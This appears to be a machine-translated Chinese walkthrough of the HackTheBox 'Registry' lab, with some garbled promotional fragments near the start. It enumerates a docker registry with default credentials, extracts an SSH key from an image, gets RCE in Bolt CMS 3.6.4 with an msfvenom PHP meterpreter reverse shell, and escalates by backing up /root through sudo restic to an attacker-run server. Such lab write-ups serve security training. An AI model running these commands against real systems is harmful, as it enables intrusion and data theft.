我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案。我希望这将至少帮助某人在信息安全领域发展。在本文中,我们将解决docker注册表问题,在CMS Bolt中运行RCE,并使用Restic备份程序增加特权。通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您将与知道信息安全领域知识的人进入专用网络:)组织信息, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
侦察
这台机器的IP地址为10.10.10.159,我将其添加到/ etc / hosts。10.10.10.159 registry.htb
首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。nmap -A registry.htb -p22,80,443
主机有3个开放的端口,而证书(端口443)则用于docker.registry.htb。也将其添加到/ etc /主机。10.10.10.159 docker.registry.htb
当您转到registry.htb时, nginx提示符会打招呼,而到docker.registry.htb时,我们会看到一个空白页。让我们使用gobuster遍历目录。在参数中,我们指示流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php没有提供任何帮助,在螺栓中有一个带有CMS Bolt的网站,并且在安装中有一些文件,请下载。wget http://registry.htb/install/ -O ind
我们找出文件的种类。
我们可以立即读取“ gzip压缩数据”。
这样,我们可以获得证书,并链接到Docker参考文档。如果是其他域,请添加-k选项以跳过证书验证。gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
现在,让我们转到v2目录,然后通过身份验证。
最简单的组合admin:admin为我们提供访问权限。主机运行docker regisrty,因此,根据以下说明,我们将在以下地址查看其存储库:docker.registry.htb / v2 / _catalog。
我们找到了一个存储库。
让我们安装docker并转到证书安装文档。
转到/ etc / docker目录,然后从存档中添加证书。sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
现在登录到docker。
现在加载图像。sudo docker pull docker.registry.htb:443/bolt-image:latest
并运行它。sudo docker run -it docker.registry.htb:443/bolt-image:latest
我们首先要看的是SSH。幸运的是,这里有一个键和一个配置,从中可以很明显地看出我们的用户是螺栓。
但是关键是密钥是加密的。这意味着在连接时,他们会要求输入密码。结果是在文件中搜索字符串“ pass”。grep -i -r "pass" ./etc/
该脚本要求输入密码以解密密钥。并给出了答案。
通过ssh与我们的密钥连接。
主机上有一个backup.php文件,让我们看一下其中的内容。
这就是sudo的使用方式,而且显然没有密码。但是bolt需要密码。
这意味着我们需要获得服务用户。由于使用了CMS Bolt,因此我们可以访问sqlite数据库。下载它。scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
让我们开始使用数据库。sqlite3 bolt.db
让我们看一下表格。
并从bolt_users表中获取条目。
因此,我们有一个管理员哈希。使用JTR对其进行迭代。
现在以管理员身份登录到Bolt。我们观察到版本3.6.4。
此版本有漏洞利用。
该漏洞是我们可以将需要下载的文件扩展名添加到配置中,然后再上传文件。让我们制作一个带有负载的php文件(我先说一下,它根本无法正常工作,因此已转发了4321端口:)ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
。msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
并运行监听器。
让我们遍历Configuration-> Main Configuration并添加php扩展名以能够下载文件。
接下来,转到文件管理->上载文件并添加文件。访问后,我们将看到连接。
启动bash shell,我们还观察到我们正在代表服务用户工作。
让我们检查sudo,观察到backup.php中的命令可以在sudo下运行而无需输入密码。
Restic是用Golang编写的备份程序。由于我们可以在sudo下进行备份,因此可以复制整个根目录。首先,让我们通过8000端口。ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
安装并运行rest-server(在8000个帖子上,无需身份验证)。
让我们连接并初始化备份(restr1)。
现在备份根目录。
备份已保存在本地计算机上。让我们看看所有保存的文件。找到SSH密钥。restic -r /tmp/restic/restr1/ ls latest
恢复它。
连接
我们拥有对该系统的完全访问权限。您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。